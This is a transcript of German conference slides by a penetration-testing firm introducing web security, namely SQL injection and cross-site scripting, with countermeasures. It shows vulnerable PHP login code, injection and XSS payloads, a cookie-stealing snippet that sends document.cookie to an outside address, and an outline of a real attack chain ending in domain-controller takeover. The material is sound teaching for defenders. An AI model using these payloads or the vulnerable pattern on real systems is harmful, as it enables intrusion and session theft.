Web Security aus der Perspektive eines Penetration-Testers

Transkript

1 Web Security aus der Perspektive eines Penetration-Testers 14. Juni Cyber-Sicherheits-Tag Dr. Bastian Könings If you think technology can solve your security problems, then you don't understand the problems and you don't understand the technology - Bruce Schneier

2 Vorstellung Unabhängige Prüfung ganzheitliche Optimierung Leistungen der SCHUTZWERK GmbH: Prüfung Beratung Prozesse 2 /33

3 Inhalt 1 Penetration-Testing 2 Injection-Angriffe 3 Cross-Site-Scripting (XSS) 3 /33

5 Penetration-Testing Penetration-Testing Ziel: möglichst weit in ein System vorzudringen Typisches Vorgehen eines Angreifers Manuelle Handarbeit nötig 1. Sammeln von Informationen Vordringen in System / Netzwerk 2. Schwachstellensuche 3. Schwachstellenausnutzung (Exploit) 5 /33

6 Penetration-Testing 1. Sammeln von Informationen IP-Ranges (z. B. über RIRs wie RIPE) Domains (DNS-Einträge) erreichbare Inhalte / URLs (z. B. über robots.txt, Suchmaschinen oder Spidern) verwendete Software (Server, Frameworks, Bibliotheken, etc.) Funktionalitäten der Webanwendung (Formulare, dynamische Inhalte, etc.) Potentielle Benutzer (z. B. Google-Suche nach -Adressen oder über soziale Netzwerke)... Aufwand abhängig vom Testverfahren: Black-Box Test Grey-Box Test White-Box Test 6 /33

7 Penetration-Testing 2. Schwachstellensuche Genaue Analyse der Webanwendung (z. B. POST- und GET- Requests, Cookie-Parameter, Quellcode, etc.) Analyse von Sicherheitsmechanismen (Session-Handling, Authentisierung, Passwortmanagement) Webbrowser HTTP(S) Proxy z. B. Burp Suite, OWASP ZAP Webserver Prüfung der Servertechnologien nach bekannten Schwachstellen (Webserver, Frameworks, Datenbanken, Programmiersprachen, etc.) 7 /33

8 Penetration-Testing Beispiel: Benutzereingaben 8 /33

9 Penetration-Testing Beispiel: Benutzereingaben Ziel: Identifikation von Schwachstellen durch Manipulation von Benutzereingaben Manuelles Verändern von POST- und GET-Parametern Automatisiertes Scannen von POST- und GET-Parametern (z. B. mit Burp Suite) Alle expliziten und impliziten Benutzereingaben stellen ein potentielles Sicherheitsrisiko dar! z. B. POST- und GET-Parameter, HTTP-Header, Cookies 9 /33

10 Penetration-Testing 2. Schwachstellenausnutzung (Exploit) Ziele der Ausnutzung einer Schwachstelle: > Umgehen der Anwendungslogik (z. B. günstiger Einkaufen) > Störung des Betriebsablaufs (Denial-of-Service) > Zugriff auf Informationen (z. B. Benutzerdaten, interne Betriebsgeheimnisse, etc.) > Installation von Backdoors (z. B. Upload einer php-backdoor, die System-Kommandos ausführen kann) > /33

11 Schwachstellenausnutzung Zwei grundsätzliche Angriffskategorien Client Side Attacks z. B. Cross-Site-Scripting (XSS) Server Side Attacks z. B. Injection 11 /33

13 Injection-Angriffe Injection-Angriffe Einbetten von Übergabeparametern in Befehle oder Anfragen Command-Injection Einbetten in Systembefehle $ mycommand SQL-Injection Einbetten in Datenbankanfragen SELECT * FROM users WHERE name= 13 /33

14 Injection-Angriffe SQL-Injection <?php $user = $_POST['user']; $pass = $_POST['pass']; $query = "SELECT * FROM users WHERE user='$user' and password='$pass'"; $result = mysql_query($query);...?> Korrekte Anmeldung durch POST-Request: POST /login.php HTTP/1.1 Host: myowncloud.com user=admin&pass=topsecret Resultierende SQL-Anfrage: Beispiel: Benutzeranmeldung SELECT * FROM users WHERE user='admin' and password='topsecret' 14 /33

15 Injection-Angriffe SQL-Injection <?php $user = $_POST['user']; $pass = $_POST['pass']; $query = "SELECT * FROM users WHERE user='$user' and password='$pass'"; $result = mysql_query($query);...?> SQL-Injection in Anmeldeparameter des POST-Requests: POST /login.php HTTP/1.1 Host: myowncloud.com user=admin&pass=xy' or '1'='1 Resultierende SQL-Anfrage: Beispiel: Benutzeranmeldung SELECT * FROM users WHERE user='admin' and password='xy' or '1'='1' 15 /33

16 Injection-Angriffe Identifizierung von SQL-Injection-Schwachstellen Fehlerbasiert > z. B. Fehlerausgabe in HTML-Dokument Incorrect syntax near 'injectiontest'. Unclosed quotation mark before the character string ' Boolean-basiert > Valide SQL-Injection führt zu anderem Ergebnis > z. B. SQL-Injection führt zu erfolgreicher Anmeldung Zeitbasiert > Valide SQL-Injection führt zu veränderten Antwortzeiten ProductID=1' OR SLEEP(25)=0 LIMIT /33

17 Injection-Angriffe Angriffsziele Zugriff auf Informationen > z. B. Benutzerdaten (Passwörter, Kreditkartendaten, etc.) Manipulation > z. B. Änderung von Preisen Weiteres Eindringen in System(e) > durch Command-Injection > Ausführen von Systembefehlen durch SQL-Injections (z. B. möglich bei Microsoft SQL Server) Anlegen eines neuen Benutzers / Administrators Anmeldung via SSH oder Remote Desktop 17 /33

18 Injection-Angriffe Ablauf eines Angriffs aus der Praxis Interner Penetration-Test Zeitbasierte SQL-Injection Schwachstelle Scannen der Infrastruktur (erreichbare Systeme / Dienste) z. B. via nmap interne Webseite eines Inventarsystems Auslesen von Anmeldedaten aus MySQL-Datenbank via sqlmap 18 /33

19 Injection-Angriffe Ablauf eines Angriffs aus der Praxis Interner Penetration-Test Anlegen eines lokalen Admins und Anmeldung per Remote Desktop Wiederverwendung eines Passwortes für Admin-Account einer MSSQL-Datenbank (erlaubt Ausführung von Systembefehlen) Auslesen von Anmeldedaten aus MySQL-Datenbank via sqlmap 19 /33

20 Injection-Angriffe Ablauf eines Angriffs aus der Praxis Interner Penetration-Test Anlegen eines lokalen Admins und Anmeldung per Remote Desktop Wiederverwendung eines Passwortes für Admin-Account einer MSSQL-Datenbank (erlaubt Ausführung von Systembefehlen) Auslesen von Klartext-Passwörtern aus Arbeitsspeicher (via meterpreter) Anmeldung als Admin an Domain-Controller (erlaubt volle Kontrolle) 20 /33

21 Injection-Angriffe Gegenmaßnahmen Verwendung sicherer APIs mit parametrisierten Schnittstellen > z. B. Prepared Statements bei SQL <?php // prepare and bind $stmt = $conn->prepare("insert INTO users (name, ) VALUES (?,?)"); $stmt->bind_param("ss", $name, $ );?> Filterung oder Escapen nicht erlaubter Zeichen > Zahlreiche existierende Bibliotheken mit verschiedenen Funktionen (z. B. OWASP Enterprise Security API) White-List von erlaubten Eingaben 21 /33

23 Cross-Site-Scripting (XSS) Cross-Site-Scripting: Script-Code (z. B. JavaScript) eines Angreifers wird ungefiltert in Webseite eingebunden > Erlaubt einem Angreifer die Ausführung von Script-Code im Browser eines Benutzers Angreifer < /> < /> Zwei wesentliche XSS-Arten > Stored XSS > Reflected XSS 23 /33

24 Cross-Site-Scripting (XSS) Stored XSS Benutzer 1 Angreifer Webserver Beispiel: Kommentarfelder HTML-Ausgabe: Benutzer 2... <p>comment of <b>bad Guy</b>:<br/> <script>alert('xss');</script> </p> /33

25 Cross-Site-Scripting (XSS) Reflected XSS Angreifer Webserver Script-Code in Übergabeparameter eines HTTP-Requests (z. B. GET oder POST) wird ungefiltert in HTTP-Response eingebunden Ahnung HTML-Ausgabe: <p>die Suche nach <b>keine Ahnung</b> ergab keine Treffer</p> 25 /33

26 Cross-Site-Scripting (XSS) Reflected XSS Angreifer Webserver Script-Code in Übergabeparameter eines HTTP-Requests (z. B. GET oder POST) wird ungefiltert in HTTP-Response eingebunden HTML-Ausgabe: <p>die Suche nach <b><script>alert('xss');</script></b> ergab keine Treffer</p> 26 /33

27 Cross-Site-Scripting (XSS) Reflected XSS Angreifer Webserver Wie Script bei anderen Benutzern ausführen? Link Angreifer Benutzer Webserver 27 /33

28 Cross-Site-Scripting (XSS) Angriffsziele Stehlen von Session-Tokens in Cookies > durch Auslesen der Java-Script-Variable document.cookie var i=new Image(); i.src=" + document.cookie; Phishing > durch Manipulation dargestellter Inhalte (z. B. Login-Feld, das Benutzername und Passwort an Angreifer weiterleitet) Ausnutzen von Browser-Schwachstellen > durch Einbettung schadhafter Anwendungen (z. B. Java, Flash) 28 /33

29 Cross-Site-Scripting (XSS) Weitere Möglichkeiten Mitschneiden von Tastatureingaben Auslesen der Zwischenablage Auslesen der Such-History Auslesen kürzlich verwendeter Anwendungen Portscanning im Netz des Client Angriffe auf Hosts im Netz des Client 29 /33

30 Cross-Site-Scripting (XSS) Gegenmaßnahmen Filterung oder Escapen nicht erlaubter Zeichen > existierende Bibliotheken (z. B. OWASP Enterprise Security API) > z. B. Verwendung von HTML-Encoding: Zeichen & & < < > > " " ' ' HTML-Encoded Limitierung der Zeichenlänge von Übergabeparametern Whitelisting erlaubter Ein- und Ausgabeparameter 30 /33

31 Cross-Site-Scripting (XSS) Gegenmaßnahmen Verhinderung von Cookie-Stealing durch HttpOnly Flag > Zusätzliches Flag im Set-Cookie HTTP Response Header HTTP/ OK Set-Cookie: sessionid=y29va2lligf1zmjhdq==; HttpOnly > verhindert client-seitiges Auslesen des Cookies durch Script-Sprachen (falls der Browser dies unterstützt) 31 /33

32 Fazit Web Security Nur kleiner Einblick Injection-Angriffe Cross-Site-Scripting (XSS) Take-Home-Message: Alle expliziten und impliziten Benutzereingaben stellen ein potentielles Sicherheitsrisiko dar! 32 /33

33 Für Fragen stehen wir Ihnen gerne zur Verfügung SCHUTZWERK GmbH Pfarrer-Weiß-Weg Ulm Phone Fax info@schutzwerk.com 33 /33